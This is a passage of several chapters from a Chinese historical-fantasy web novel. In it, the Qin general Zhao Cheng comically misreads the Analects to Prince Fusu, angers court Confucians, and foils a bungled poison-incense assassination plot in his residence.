曾经的名将廉颇,察觉到郭开祸乱朝堂的阴谋,与之敌对,劝谏赵王弃用郭开,被郭开怀恨在心。
此后郭开指使谍府秘士在邯郸散布谣言。
“廉颇老矣,尚能饭否?”
如此诛心之言,让本就对廉颇忌惮的赵悼襄王怀疑起了他的能力,有了弃用的心思。
而后郭开更是趁机上奏,说“廉颇克魏,威震诸侯,恐有田单复齐之危!”
此奏精准戳中了赵悼襄王的忌惮,要以乐乘替换廉颇,此举激怒了廉颇,廉颇打跑了乐乘,然后撂挑子跑到了魏国去。
廉颇在魏国不得重用,本来还想回去赵国。
正巧秦国攻赵,赵国节节败退,赵王决定将廉颇请回来。
此举被郭开发现,于是贿赂了使臣。
使臣去见了廉颇,廉颇当着使臣的面一连吃了七八碗饭,又策马奔腾数圈,展露一身雄威。
回去之后,却在使者口中成了吃一顿饭拉三次稀的老骨头,不堪重用。
赵王一听,好么,吃饭都拉稀,如何能领兵打仗?
于是赵王彻底弃用了廉颇。
郭开此举,可谓单杀战国四大名将之一,不可谓是不强。
而后郭开更是趁机安插亲信接管军队,将赵国的多处军事命脉掌握在了手中,逐渐权倾朝野。
到了赵王迁时期,他已是一人之下万人之上,除了李牧,无人需要忌惮。
但依然每日哄着赵王迁开心。
至于什么赵诚之流,他本是不在意的,既然春平君提出来,给他找了麻烦,他自然不能让春平君独善其身。
光提问题不出力怎么行?
借你外孙女一用。
可惜虽然在君王眼中和实际意义上都碾压了春平君,但郭开并没有多开心。
对付秦国,本是那些武将的事情,他参和进来,未来被秦国清算怎么办?
嗯……还得将消息封锁好,不可传出去这些主意是我出的。
若事情成了,是我的功劳。
若事情不成,那就全是春平君的罪过。
若有朝一日秦破赵国……那还得先提前准备几个替罪羊才行。
做好最坏的打算,打造好退路,是他的不败秘诀。
……
“有刺客潜入大良造府邸,刺杀扶苏,被赵诚一眼看死了?”
嬴政看着顿弱传来的那份记录,惊疑不定。
他看向顿弱,“此事为真?”
顿弱苦笑,“臣亦不知,不过若是那些传说中,极其精通阴阳术的大方士,倒也不是不能做到这一点。”
“只是大良造实在太年轻,有如此炼体修为已经不同凡响,精通阴阳术到这种程度的可能,微乎其微。”
“也是。”嬴政点了点头,“或许是出手太快,扶苏没有看清楚吧。”
“这小子,怎么总是糊弄扶苏?”
看着两人的谈话记录,他有些无奈失笑,不过对于扶苏的表现,以及赵诚的教导模式,他还是很满意的。
“扶苏这孩子虽然看着软弱了些,性子也顽固仁懦,但骨子里还是有些胆魄的,刚刚差点被刺客刺杀,就敢再次靠近刺客,对刺客出手,不错。”
他继续往下看去,脸色愈发古怪,“仁义要用在别人身上最合适!?”
这都什么歪理邪说,偏偏还有点有道理是怎么回事?
“商贾收买人心亦是仁义之举?”
“照他这样说,顿弱你也是儒家的君子了。”
顿弱露出笑意来,“臣觉得大良造说的也不算错,远交近攻之策乃是陛下裁定,此举省去无数伤亡,自然是大仁义之举。”
得,大家全是君子,谁也跑不掉。
嬴政威严的脸上也露出一丝笑意,不过很快又想到了什么,问道,“你说按照赵诚这样教下去,以后扶苏会不会变成无所不用其极之人?”
小作坊下料太猛了,他不得不有些担忧起来。
顿弱却是说道,“臣以为,扶苏公子本性正直善良,有其本性在,无论如何也不会走歪了去,但正因为他太过正直善良,所以才需要以大良造的变通来为其补足。”
嬴政想了想,确实是这个道理。
赵诚的“仁义之道”,总比那些腐儒的仁义之道要强得多。
“上林苑的血衣军营地建的如何了?”
“回陛下,已经基本建成了,如今血衣军已经调到了上林苑的营地之中开始练兵,大良造也带着扶苏公子去了,听说大良造让扶苏公子也在练那炼体功呢。”
“嗯?”嬴政眉头一挑,“扶苏练得如何?”
顿弱有些想笑,但是忍住了,“叫得很惨……”
嬴政眉头一皱,觉得有些丢人。
却听顿弱说道,“但却未曾放弃。”
嬴政眉头舒展了一些。
不过有些话顿弱没有说。
扶苏没放弃是因为赵诚站在后面,用目光鞭策他,他一旦停下,赵诚就要勾他的魂!
为了自己的魂儿不被勾走,扶苏不得不拼命锻炼,叫得越惨,练得越猛。
把血衣军都看得一愣一愣的……
“大良造,你之前说君子不器,使吾有所悟,你对论语造诣很深吗?”
小扶苏坐在地上汗出如浆,捧着一个大馍大口吃着,饥肠辘辘的肚子好像个无底洞。
他从未感觉过馍也能如此美味,一边吃,一边对赵诚请教儒学。
赵诚点了点头,“略懂。”
扶苏眼睛之中闪过一丝狡黠,“那你说说,己所不欲勿施于人作何解?”
终于到我反击了!
可恶的血屠,竟然让本公子炼体。
痛!
太痛了!
第97章 乱解论语忽悠扶苏,淳于越气吐血了!
“己所不欲,勿施于人?”
赵诚看了看扶苏,笑道,“很简单,字面意思,我所不想要的东西,就算扔了也不会给别人。”
“啊?”
扶苏咬馍的动作一僵,馍从嘴里掉了出来尚不自知。
不是,己所不欲勿施于人说的是这个意思吗?
胡扯!!
他狐疑地看着赵诚,觉得这家伙肯定是胡说八道来敷衍自己。
于是又问,“君子不重则不威,又是何解?”
赵诚奇怪地看向扶苏,“这还不简单?所谓君子,打仗下手不重,那就没有威严。”
“你看我为什么在军中很有威望?那就是因为我下手够重!”
“孔子他老人家所言不虚。”
“所以扶苏,你要听孔子的,做一个君子,要有威严。”
“这……”
扶苏有点懵了,怎么还成体系了?
他试探性的问道,“朝闻道,夕死可矣?”
赵诚对于论语造诣颇深,那是对答如流。
“早上知道了去敌人家的路,晚上敌君就可以死了。”
“此道艰难,吾早就知道了去往韩都的路,结果八日才打到韩都,捉了敌君,不符合孔子他老人家的教诲,所以不能称为君子。”
“扶苏啊,你要做君子,要践行此道教诲啊。”
扶苏眨了眨眼睛,感觉自己一生所学受到了冲击。
这不对啊,是这个意思吗?
他不信邪,再问,“既来之则安之呢?”
赵诚说道,“敌人既然来了,那就安葬在这里,不要让他们走了。”
扶苏眼睛睁得老大,这也能解?
他就不信了,又问,“子不语怪力乱神!”
赵诚说道,“君子不爱说话,但有一身怪力,能把敌人打到神志不清!”
“你有所不知,孔子他老人家身高九尺六寸,高大威猛,人皆谓之长人,而异之!”
“他千里奔波、周游列国,行程全靠走,交流全靠吼。
当时到处都是荒无人烟的区域,途中多盗匪,更时不时地蹦出点吃人猛兽,全靠他这一身怪力,以及腰间佩剑,才能安然周游列国啊。”
“到了他六七十岁的时候,他还能长途奔波,长途中遇到断粮危机,他的徒弟一个个饿得全身无力,头昏眼花,他跟没事人一样,还在那里唱歌。”
“这是有记载的,你去看看《孔子家语·在厄》。
说孔子不得行,绝粮七日,外无所通,藜羹不充,从者皆病。孔子愈慷慨讲诵,弦歌不衰。”
“可见,做君子没有一副好体魄能行吗?你炼体还能懈怠吗?”
这……
他好像真的看过这本书。
当时只是惊叹于孔子的意志强大,精神乐观,没想到是因为孔子身体足够强大。
看来这血衣军炼体功修炼起来,真的很有必要。
赵诚继续说道,“还有佐证,说孔子之劲,举国门之关,而不肯以力闻。”
“孔子的力气,能够举起国都城门,说其不语怪力乱神,正是合理之解。”
扶苏深深地沉默了。
不对劲,很不对劲。
感觉全是胡扯,但听起来又很有道理,甚至还有佐证,甚至这些佐证还有他看过的书籍。
他大脑又开始乱起来了。
赵诚没让他多想,看他吃完了,就又一脚踢到演武场中,继续随将士们去修炼炼体功了。
扶苏一边嚎叫,一边拼命修炼。
脑海中却是高大魁梧的孔子举起国门重关的画面,这画面根深蒂固,挥之不去。
让他突然升起一股精神意志。
吾该像孔子他老人家一般威武雄壮,才可称为君子啊!
练!
狠狠地练!
赵诚笑呵呵地看着扶苏拼命练功。
一群腐儒和我比洗脑?
没有体罚和痛苦的洗脑,也能叫洗脑吗?
重症还要重药医,扶苏这小子有点病入膏肓了,就得下点猛药!
……
“己所不欲勿施于人……我所不想要的东西,就算扔了也不会给别人?”
淳于越瞪大了眼睛看着手中的竹简,不敢相信自己看到的这一行话是人说出来的!
他揉了揉眼睛,再看一遍,顿时眼前一黑。
他强忍怒气,继续向下看去,“君子不重则不威……”
“君子打仗下手要是不重,那就没有威严!?”
他拳头紧握,用尽全身力气,才忍住没有扔掉竹简。
“朝闻道夕死可矣,吾倒要看看,这等道理,你还能如何谬误!”
“早上听闻敌人家的路,到晚上的时候敌君就可以死了……”
“我……”
淳于越一口气没上来,差点后翻过去,扑通一声坐在椅子上,捂着心口好半天没缓过劲来。
“血屠!!血屠!!”
他拳头紧握,咬牙切齿,继续看向下面,
“既来之则安之……”
“敌人既然敢来,那就安葬在这里,不要走了。”
“子不语怪力乱神……”
“君子不爱说话,但有一身怪力,能把敌人打到神志不清!”
“我#¥%……&”
他抡起胳膊,拼了老命般将竹简甩在地上,破碎成一地竹条。
“胡说八道!!”
“误我国本!!”
声声泣血之际,外面伏胜和周青臣匆匆赶来,踏入房间,只见淳于越状如疯魔,地上更是一地竹简。
往日里,淳于越是最为爱惜竹简书籍的,今日怎的如此暴躁?
二人不解,见其地上散落的竹简来看了一眼,顿时各自眼前一黑。
片刻之后。
房间之中传来噼里啪啦的声音。
三个儒学博士指天骂娘,房间里面那是鸡飞狗跳。
没多久,三个人并肩而出,气势汹汹地向着嬴政宫殿去了。
……
“君子打仗下手不重,那就没有威严!?”
“敌人既然来了,那就安葬在这里,不要让他们走了。”
“早上听闻敌人家的路,晚上敌君就可以死了……”
“这……妙啊,不是,寡人的意思是,有些谬误。”
嬴政翻看着桌案上面的记录,又抬头看了看下面快要发疯的三个博士,心中也难免有些担忧起扶苏来。
这样教下去,恐怕要不了多久,主张怀柔的扶苏,就要请兵打仗去了……
第98章 汝敢祸及亲眷?赵国吾必屠之!
章台宫后殿之上,三名儒士痛心疾首,语调激昂地痛斥血屠误人子弟。
那真是声声泣血,听者伤心,闻者落泪!
嬴政看着案台上的竹简,也是哭笑不得。
他本还以为赵诚了解儒学,才能用一个问题将一群大儒难得欲仙欲死。
如今一看,这论语学得都偏到杀敌打仗上面去了。
把论语学成这样,怪不得打仗如此勇猛。
他八日灭韩甚至还觉得自己不够君子,还想按照朝闻道夕死可矣去打,早上知道了去敌人国都的路,晚上就要给人家平了。
要是论语教的都是这些东西,秦国恐怕早就灭掉诸国一统天下了……
“陛下!!大良造如此误公子扶苏,必须立刻召回公子,不然为时晚矣!!”
“陛下!公子受陛下精心栽培多年,如今落入那血屠手中,不过区区几日,就已经快要酿成大错,若是这样下去,公子恐怕就要被那血屠哄骗成小屠子了!”
“陛下!你也不想扶苏公子变成一个只知杀戮的莽夫吧?”
殿下的三个博士痛心疾首,几乎是涕泪横流,苦苦相劝。
嬴政却根本不为所动,“人各有所长,赵诚上将军擅长的是杀敌打仗,吾让扶苏跟随他治军,学的也不是什么儒学。”
“所以诸卿不必担心,扶苏自己自然会明辨是非的。”
"既然是扶苏自己想要印证所学,汝等就不该进行干涉,若是连这些东西都分辨不清,尔等教他也教不出什么来。"
“陛下!”淳于越还想再劝,但嬴政却已经挥了挥手,让他们下去了。
淳于越等人无奈,他们就算有千般道理,也架不住嬴政不听啊。
更何况,扶苏之所以去跟随赵诚,还不是因为他们无能,无法解出车舆论吗?
如此,只有满心无奈地退出了大殿。
“血屠可恶,偏偏大王如今又偏信于他,公子扶苏落在他手中,与羔羊落入猛虎口中何异?”
淳于越愤恨说道。
周青臣也是皱眉苦思,“我等必须想出一个章程来,不能让公子继续这样被他耽误下去了。”
伏胜感到有些为难,“可是车舆论至今无解,陛下那边又不愿意收回成命,就连公子自己,现在也已经被血屠蒙蔽。”
“最重要的是,血屠武力超群又飞扬跋扈,我等就算是去抢,也抢不过他啊。”
淳于越目光之中流淌着狠辣之色,“血屠不除,公子只会越走越偏,秦国暴征也不知道何时能停。”
“若想要推行义战,血屠必须尽快除掉,最不济,也要让他被大王弃置不用。”
周青臣说道,“可有什么好办法?”
“此人毕竟是大王赏识的重臣,而且在军中亦是威望如山,我等要是对他不利,恐怕会被大王所不容,被秦国所不容啊。”
伏胜沉默许久,此时突然说道,“淳于博士所言不虚,除掉此人,才是为民除害之举。”
“吾大哥伏念在小圣贤庄,他最是骄傲庄重,若是得知有人如此污我儒家先贤之言,定不能容他。”
“而且他剑法超群,或许可以……”
“不妥。”周青臣摇头说道,“伏念乃是我儒家年轻一代的领袖人物,有治国平天下之能,未来是要接管儒家正统的,岂可行险做这种事?”
“做这种事,吾等与那血屠何异?”
伏胜皱眉无奈,“那又该如何?那血屠误我国本,秦儒已到了生死存亡之际。”
淳于越低头不言,也不知道在想些什么。
“各自再想想办法吧,吾先回去了。”
他回到府中,纠结良久,终于还是叹息一声,“吾这也是为了秦国着想,不能算是叛国。”
……
夜色如水,繁星漫天。
血衣营中,将士们初次泡了药浴,只觉浑身再次涌起用不完的精力,体魄快速精进。
于是又开始狂修猛炼。
小扶苏则跟在后面惨嚎,叫得比谁都惨,练的比谁都慢,但始终坚持不懈,也算是坚韧不拔。
赵诚躺在营外上林苑中的原野上,看着漫天繁星,静谧安然观星推演。
突然,赵诚眉头一皱,捕捉到一丝凶险,但不在自己身上。
下一刻,他身上突然爆发冲天杀机。
“汝敢祸及亲眷!?”
这凶险竟然落在了舅舅舅母身上!
赵诚瞬间暴怒,当下杀意如潮。
“赵国,吾必屠之!”
他极尽心力迅速推算细节,赵国刚刚定下这个计策,还没有派人去探查赵诚亲眷。
而赵诚身为大良造,其户籍案牍全都是极重要的案牍,想从这方面入手几乎是不可能的。
所以对方还需要层层探查,确定赵诚亲眷信息和位置,才能付诸行动。
具体何时行动,如何行动,在赵诚的推演中,是一直在飞快变化的。
涉及到多日后事件的具体细节,星理便是纷繁复杂,瞬息千变万化。
时间距离越远,占卜事情越细,变化就越多。
要知道,世间之事,并非一成不变,只是在一个上限和下限之间,顺着一个大方向奔腾而去。
如同长江大河奔腾入海,大方向是确定的,但其中每一滴水的流向,每一处浪花的绽开,却是极难确定。
这种浪花水流的细节,每时每刻都在飞快变化,可能数万年都不会重样。
而星理世事之变化,还要比之复杂千万倍。
如那天下归秦一事,时间虽远,但却是大方向之变,占卜出任何冰山一角,亦或者模糊不清的一个大局,就可明了。
但要算某个人一个月后几分几秒挠头,那可就太难了。
赵诚此时也难以确定对方何时执行此策。
只能等对方计划成型,开始执行,才能够精准把握局势。
在那之前,或许应该将舅舅舅母接到咸阳城来,就算他们不愿也没有办法。
赵诚如此想着。
实际上,赵诚封爵后就起了心思想将舅舅舅母接到咸阳城来,只是去了信之后,两人都很是抗拒。
他们觉得在怀阳村生活习惯了,朋友亲人也多,不愿离开故土。
如今赵诚虽然成了大良造,但是怀阳村的封地和宅邸都在,两人要在那里给他守着家业。
赵诚也有些顾虑两人不习惯这边的生活。
而且他之后还要出征,咸阳城里也算不上多安全,更有诸国外患,亦或者隐藏政敌针对的风险。
所以赵诚才没有强行将两人接过来。
如今算到赵国这么快就起了歪心思,赵诚意识到这样下去不行,事关舅舅舅母,他不能大意。
但又不能每日看护在两人身边。
思来想去,还是需要培养可靠且强力的手下。
可这么短的时间,如何培养出既足够信任,又有足够能力对付诸国秘士,甚至隐世方士的手下来呢?
断玉手下倒是有三十六楼主,但他对断玉尚且不能完全信任,其手下更是隔了一层,又怎能堪此重用?
最重要是,其实力也未必能够抵御诸国秘士。
很麻烦。
这一招让赵诚有种被牵着鼻子走的感觉。
幸好他有料敌先机之能,能够提前应对,大不了亲自出手截杀。
有大成占星术在,对方只要从赵国出发,赵诚就能锁定对方位置,一条漏网之鱼都跑不掉。
但长此以往,却不是办法。
赵诚突然有些苦恼。
该死的赵国,还是尽早屠灭了他们才行!
……
第99章 图穷匕见!四蛇战暴虎!穷鬼刺客!
这一日,蒙武率军回师抵达蓝田大营。
他率领大军,辎重无数,所以回师缓慢,今日才到。
将大军留在蓝田大营,他亲率数千精锐,入了咸阳,受嬴政封赏。
此战开疆拓土,其率领的中央军几乎没有什么伤亡,虽然这大部分都是赵诚的功劳,但是其领军作战,稳扎稳打的领兵战略也起了不小的作用。
所以亦是受到不小的封赏,结合之前积累的军功,成功升为大良造,与王翦尉缭赵诚齐平。
蒙武受封之后,又带着数千精锐,直抵上林苑的血衣营。
“在路上就听闻陛下命你另建血衣军,选拔三军精锐,这不,来的路上我就已经挑好了。”
十万大军,蒙武只挑出了两千多,正是精锐之中的精锐,各个材力不俗,可举七石石锁。
赵诚全盘接收。
如今多日修炼下来,那六千预备血衣军材力也猛猛精进,原先的突骑营精锐,材力增长一石半,最差的也达到了举八石的程度。
最强的,甚至能够全力举起十二石石锁,各个威势惊人。
而之前的铁鹰锐士甚至每人都能够举起十五石石锁,更强者有举二十石石锁的,已是力达千斤。
这导致赵诚的血衣营地中石锁规格不断突破军中上限。
那巨大的石锁,普通士卒连见都没见过。
见到有人竟然能够举起来,惊得合不拢嘴。
而随着蒙武回师没多久,查收昌平君封地的剩余税赋钱粮也终于清点完毕。
屯田都尉王离清点之后,带着一长队的马车物资,抵达血衣营地。
“上将军,这是从昌平君封地收来的赋税钱粮,共有秦钱三百万两,楚钱三十万两,十五万石粟米。”
“以此六成充作大良造封爵之赏,四成充作血衣军军资。”
“除此之外,还有私兵一万,其中能用作血衣军的精锐只有一千,余者可充作上将军封地私兵。”
钱到账了!
“昌平君还真是有钱啊。”
赵诚看着那长如河流绵延不尽的车队,心中一阵满足,困苦的日子总算是过去了。
而王离则是听着血衣营之中的惨叫声,有些不寒而栗。
这营地简直就是人间地狱。
也不知道这些将士为什么如此拼命。
却见赵诚转身拍了拍手,众将士修炼一停,看向赵诚。
赵诚说道,“自今日起,血衣军每顿饭都有肉吃,训练量达标者,肉食翻倍,训练量优异者,翻三倍。”
“且,每个人都有药浴的基础配额。”
“但是,药散还是需要军功来领……”
话音落地,血衣军之中的所有将士都嘶吼欢呼。
跟着将军不但能够立功无数,还能变强,而且是真有肉吃啊。
有了从昌平君那里搜刮来的钱粮,赵诚的血衣军练起来也是越发顺利。
每顿饭都有肉吃,而且只要能吃得下,饭菜管饱。
再加上每个人都有基础的药浴份额,血衣军的修炼速度再次提升一倍有余。
而算上之前的三千铁鹰锐士,随赵诚灭韩的六千轻骑,以及蒙武挑选出来的两千精锐,和昌平君私兵中的一千精锐。
血衣军已经有了一万两千人,其中三千正军,九千预备役。
其实突骑营精锐中,已经有许多人达到了之前的铁鹰锐士标准,不过考核期还没到,赵诚就让他们先练着了。
反正该有的待遇也没有少他们的。
在血衣军中忙了两日,赵诚闲来无事,又回到宅邸之中,赏花弄草,听曲赏舞,吃吃炊玉做出的美食,与青鸾说说笑笑。
兼顾传道授业解惑,与断玉关系愈发根深蒂固。
但几日下来,他倒是惬意得很,断玉却愈发扛不住了。
某日,传道授业中途,断玉拍了拍手掌。
赵诚正觉奇怪时,却见门外有四名故韩贵女身着轻纱,莲步轻摇而入。
四女各个贵气不凡,明目皓齿。
仙肌玉骨,美憾凡尘。
突有秦筝潺潺而响,奏出妩媚涟漪。
四名故韩贵女竟然轻舞起来,舞至中途,骤然图穷匕见!
竟是群起而攻之。
趁赵诚愕然之际,断玉脱身而出,退至一旁,坐看四条玉蛇缠暴虎,笑意风情万种。
糟糕,有埋伏!
断玉这家伙,竟然找了援手!
赵诚巍然不惧,一力战之。
四女迎难而上,半夜过去,一一败下阵来。
断玉见状心知不妙,想跑却没跑掉,被赵诚拉了回去,又是苦战至力竭。
当此之时,赵诚只觉馨香扑鼻,胸腹处三四个窍穴之中的真元,运转之间,渐渐有些迟滞。
不过他开窍三百六十一处,区区三四个窍穴的异常,几乎是微不可查,也根本没有什么影响。
而且占星术大成的他,也早有预料,知道其中一女与府上刺客合谋,想要对付自己。
这名贵女名韩霜,乃是故韩王公之女,那名王公也是那些贵族之中,为数不多没有谄媚讨好赵诚之人。
此女家风刚烈,与刺客合谋想要刺杀自己,也算合理。
不入虎穴焉得虎子。
可惜对方这毒虽然对普通方士有些作用,对他却没什么影响。
赵诚反而盯准了这与刺客合谋的贵女狠狠攻伐。
韩霜叫苦不迭之余,又是百思不得其解。
这毒为何还没发作?
难道那些刺客给出的这毒是假的?
不是说好了就算是修为精深的方士,也扛不住这香一盏茶的功夫吗?
这都快两个时辰了,人都要坏掉了,毒还不发作!?
坑人乎!?
别说她百思不得其解了。
在外面苦等信号的两名刺客,现在也是丈二和尚摸不着头脑。
说好了下毒,然后打信号暴起袭杀赵诚的。
结果人进去都不止两个时辰了,那暴虎还没倒下!
这特么怎么打?
难道这故韩贵女是虚与委蛇,骗我们的?
不至于啊,其父是故韩为数不多的强硬派,虎父无犬女,这名贵女也素来以刚烈激进闻名故韩,他们不该是找错了人才是。
“怎么回事?你难道是给错了毒?”
第100章 屡败屡战韩霜!被套牢的刺客!
月华如水,婉转啼鸣阵阵回荡。
黑暗角落,两名刺客偷听墙根,蓄势待发。
但等来等去,实在等不到信号,不由得开始自我怀疑。
“不应该啊,这毒价值不菲,我只买了一份来,怎么可能给错!?”
“那韩霜是何意?莫不是改了主意,突然爱上了那血屠不成?说起来,那血屠倒是确实有几分姿色……”
“不可能的,韩霜心怀亡国之仇,恨其入骨,绝不会爱上血屠!”
“我知道了,血屠修为高深,体魄太强,咱们的毒效力不够,还得加量才是。”
“这毒很贵啊!”
“拿了他的人头,什么都有了,还舍不得这点钱?买!”
守了一夜,始终没有等到信号。
两名刺客黯然离去,咬牙忍痛,又拿出了大半积蓄购买能够毒倒方士的香膏。
为了不被赵诚发觉,他们特意买了最贵的无色无味,且不具有其他异常的毒香。
“此香防不胜防,只要多闻上一阵,效力就会悄然发作,而中毒者却根本无从察觉。”
“等到发觉的时候,已经什么都晚了。”
“这一次一定能成,再让韩霜去试试。”
“韩霜恐怕是不行了,我今日悄然路过,想要悄悄联络,她却躺在房中是动也不动,对我的暗号视若无睹。”
“该死的血屠,当真残暴不仁!”
“要不然你去?”
“我去!?我……我就算愿意舍身饲虎,又如何解释我们的来处?别忘了,我们只是送肉入府的下人,易了容的。”
“这倒也是,不然你再去劝劝韩霜,你们之前毕竟算是闺中密友。”
“这……我试试吧,唉,真是难为她了。”
“要快,现在各国都发出了悬赏令,这桩生意不只我们盯上了,还有许多竞争对手要抢他的人头。”
“他们想抢也得能抢才行,冥阁那位无相鬼两日前死的无声无息,连个水花都没打出来,就被丢出城去喂狗了。
这位血屠阎罗的武力还有谁不清楚,大可以去试试看。”
“这倒也是,你快去劝劝韩霜吧。”
一日之后。
韩霜重整旗鼓,精心打扮,又抹上了针对方士的毒香,再次准备舍身饲虎。
一连数日,她都是极尽所能拉赵诚上钩。
赵诚亦是来者不拒。
笑看风云变幻,我自倾囊相授。
几日之后,韩霜完全扛不住了,瘫倒在床,心如死灰。
真是偷鸡不成蚀把米,赔了夫人又折兵……
影月误我!!
刺客的钱包也是扛不住了,空空如也,甚至还欠了一屁股饥荒。
做他们这行的,本来就存款不多。
这毒香是越买越贵,效果一点没见到不说,还连熬了几个大夜,一人顶着一双黑眼圈,满朋友圈借钱。
没办法,已经套里面了,不借不行。
不然前功尽弃不说,积蓄也全都打了水漂。
最重要的是,韩霜那边说不过去。
虽然是刺客,但也不能没有人性。
不然与那血屠又有什么区别?
“能借的都借遍了,这是最后一舞了!”
“这次的毒香,就算是上百个方士,也能够毒倒!”
“此番不成功便成仁!”
两名刺客雄赳赳气昂昂的向着大良造府邸而去,来到了门口,气势一散,又变成了点头哈腰送肉入府的下人,成功混入了府中。
再次找到韩霜,韩霜端坐在床上,脸色苍白,柳眉微蹙。
曾明艳动人的她,如今多了一种破碎感,让这密友刺客都感到一阵心疼。
“霜儿,再坚持最后一次,这一次不论如何我们都要杀了他!”
“这种话不要再说了,你已经说了许多遍了,哪一次也不见那屠子倒下,甚至连一丝无力都没有。”
“霜儿,这一次我们借遍了所有朋友,买到了这惊天绝地旷古烁今散气香!而且我们决定,这一次就算他不倒下,我们也要趁其不备强行杀进去。”
“那屠子神勇无比,你们二人不是她的对手。”
“那怎么办,难道就这么算了?我们的钱……不是,你的清白就这样没了啊。”
韩霜儿闻言也有些不甘心,“最后一次!”
说着,她又开始梳妆打扮,看着镜中的自己,她突然感觉有点累了。
不想再继续了。
那屠子……对她其实也不错。
好似是喜欢她的,对她的宠爱,总比其他人要多一些。
但是想着已经走到这里了,她已经没有回头路了,刺客们不会放弃,而刺客事发,她也只有死路一条,还不如拼这最后一次。
若是成了,她也算是报了亡国之仇。
若是没成,大不了一死而已,对她来说也是一种解脱。
如此想着,她已打扮完了。
镜中的人儿,明眸皓齿,如琬似花,眉如远黛,眸似点漆。
肌肤更是白嫩如荔枝般,吹弹可破。
她站起身来,迎着满庭院的月色,前往了前堂。
……
“爵爷,府上有刺客。”
断玉找到赵诚,说出了自己的怀疑,她已经察觉到蛛丝马迹,但是对方十分谨慎,每每追查线索到关键时刻,线索就断掉了。
而且,痕迹很多,这府上的刺客不止一个两个,好似各处都有。
让断玉一时间有点忙不过来。
而玉衡楼之中的人,也不好调到府上来。
所以短时间内,她也无法找到对方确切位置。
“无妨。”
赵诚挥了挥手,依然闭眸,以周身大窍为星盘,推演天下诸事。
先是占卜了一下赵国阴山谍府的动态,发现这些人还没开始行动,计划一直在变动,效率是真的慢!
而后赵诚又算了算嬴政准备何时征伐赵国,不由又是一阵无语。
“唉,嬴政未免太保守,竟然打算再过一年半的时间,完全稳固了颍川郡统治之后再去攻赵。”
“到那时候,岂不是黄花菜都凉了?”
“不行,得找个时间去催催他。”
他如今寿命只剩下八千年了,不论是凝丹还是锻武,亦或者是炼虚,都根本不够用。
虽然短时间也没有什么威胁吧,但近来他以占星术观天下,发现这天下英雄有如过江之鲫。
在那千城万川之中,都有点点气息通天而上,有如黑夜之中的炬火。
而当赵诚尝试沿着那星理之线细细探寻时,甚至有人能够出手屏遮蔽掉赵诚的占卜。
这让赵诚都十分意外。
第101章 惊天绝地旷古烁今散气香,影楼七魅
除此之外,观星之时还会有一些不可触摸、玄之又玄的地方。
每当赵诚尝试触及的时候,都会有一种如芒在背的危机感。
他甚至算不清楚这种感觉来自哪个方向。
“怪不得老话说江湖越老,胆子越小,知道的越多,就越能意识到这世界深不可测啊。”
占星术大成之后,一开始赵诚还饶有兴趣,每日大小事都要推演占卜一下。
但随着愈发深入,他发现自己好像是一个生于浅水层的鱼儿正向着深海游去,触摸到了更广博的世界。
如此,更觉这世界精彩,心中那一丝寂寞也悄然散去,变成了跃跃欲试。
至今为止,除了方城隘口那一战,还没有遇到能让他全力出手的敌人。
如果灭诸国途中有机会,他很想用这些人试试自己的方天画戟。
若是没有机会,那等统一诸国之后,再去一一拜访便是。
至于现在,只能陪这些小鱼小虾玩玩,权当消遣了。
想着,韩霜儿已经来到他身后,柔情似水地环住了他的脖颈,幽兰般的香气吹拂在赵诚的耳边。
几日下来,她越发大胆了。
“爵爷,她……”断玉眉头微皱,想要提醒些什么。
赵诚却是摆了摆手,魁躯抱起韩霜,大步踏入燕寝。
断玉眉头依然轻蹙着,仔细看了看四周,又警惕地看了看院中,也随赵诚踏入燕寝了。
她总觉得今夜要发生什么事情,而那举止反常的韩霜,必定有问题。
可惜时间太短,她没法查出什么,只能跟在赵诚身边,走一步看一步了。
转眼间,半夜时间过去。
两名刺客蹲在暗影之中,等的焦灼不已,抓耳挠腮。
“这都不倒!?”
“听动静好像……起了反效果……”
“不是,你确定花这大价钱买来的是散气香,不是催情香吗?”
“什么散气香,那是惊天绝地旷古烁今散气香,现在屋子里面就算是个神仙,现在也该倒了!”
“你自己听听,霜儿叫得那么惨,你说神仙都能倒?倒哪了!?”
“你确定这叫的是惨?不是……”
“那不重要!现在怎么办?”
"要不然撤吧,这点子扎手!这都毒不倒他,他得多强啊?"
“怎么可能走,钱没了,人还在,老娘拼命了大半辈子就赚这点钱,全都砸里面了,还欠了下半辈子都还不完的债,活着还有什么意思?”
“老娘拼命赚的钱,也赔里面了啊!!二姐,留得青山在不愁没柴烧啊,还不完的债,不还不就行了,咱们远走他乡……”
“放屁,借的都是同行的钱,咱们会的,人家都会,你能跑哪去?”
小的那个一跺脚,一咬牙,“那就冲进去和他拼了!”
大的那个看了看小的那大大的身材,嫌弃地说道,“算了,你就别冲了,你这身子太碍事,拖我后腿,还是撤走,回去帮大姐护着小禾儿。”
灵鸢不干,“二姐若是出事,我岂能独活,大不了一起死,我冲了!”
残影一闪,她已是翻窗而入。
影月脸色一变,双眸瞬间变得锋利冷漠,脚尖轻点紧随其后,倏忽之间蹿过窗子,轻灵如发丝,却又迅捷如箭矢。
如此快的速度,硬是没有发出一丝风声。
然而刚刚翻身落地,却发现灵鸢僵立在燕寝正中,呆呆地看着前面。
影月这个气啊,都什么时候了,你还在这看这玩意?
你真是……
她一冲向前,折跃之间,匕首已经倒提手中。
然而刚刚抵至床前半丈处,她却也如灵鸢一般僵住。
无他。
那山岳般的魁躯早已横亘在前,山崩海啸般的煞气扑面而来,巨大死亡阴影令其浑身僵硬,不敢动弹分毫。
床前明月光,疑是地上霜。
一大一小两名刺客在这月光之下,便如泡在冰水之中,浑身上下都冰寒透骨。
赵诚披着玄黑大袍坐在床前,前襟半敞,隐隐可见精钢浇筑般的胸腹。
此时正玩味地看着两人,尽管脸上是轻松的笑意,但其眸中却似有尸山血海,汹涌杀气令人喘不上气来。
作为杀手的影月太清楚,这不是刻意释放的杀气,而是真正杀人无数才自然而然散发出的气息。
她们也算杀人无数,但身上的杀气与眼前男子相比,如九牛一毛。
完了!
影月浑身冰凉,一颗心瞬间沉入谷底。
血屠不但没事,甚至早就知道她们两人的存在,就等着她们进来呢。
如今她俩冲入房间之中,那是羊入虎口,正中下怀!
难道是韩霜投敌了?
叛徒啊!
影月艰难挪动目光,却见到韩霜绝望的双眸。
这一刻,影月明白了太多。
不是她。
这血屠早就知道她们在暗中准备刺杀,一切的一切,根本就是将计就计,怪不得毒无效。
怪不得……
她看向韩霜,双眸已染上悲哀之色。
她们舍去了所有的身家,韩霜舍去了一切,这一切的图谋,却不过是那血屠股掌之中取乐的一场戏罢了。
韩霜用尽全力的表演和讨好,奉迎和配合,如今看来,都成了笑话。
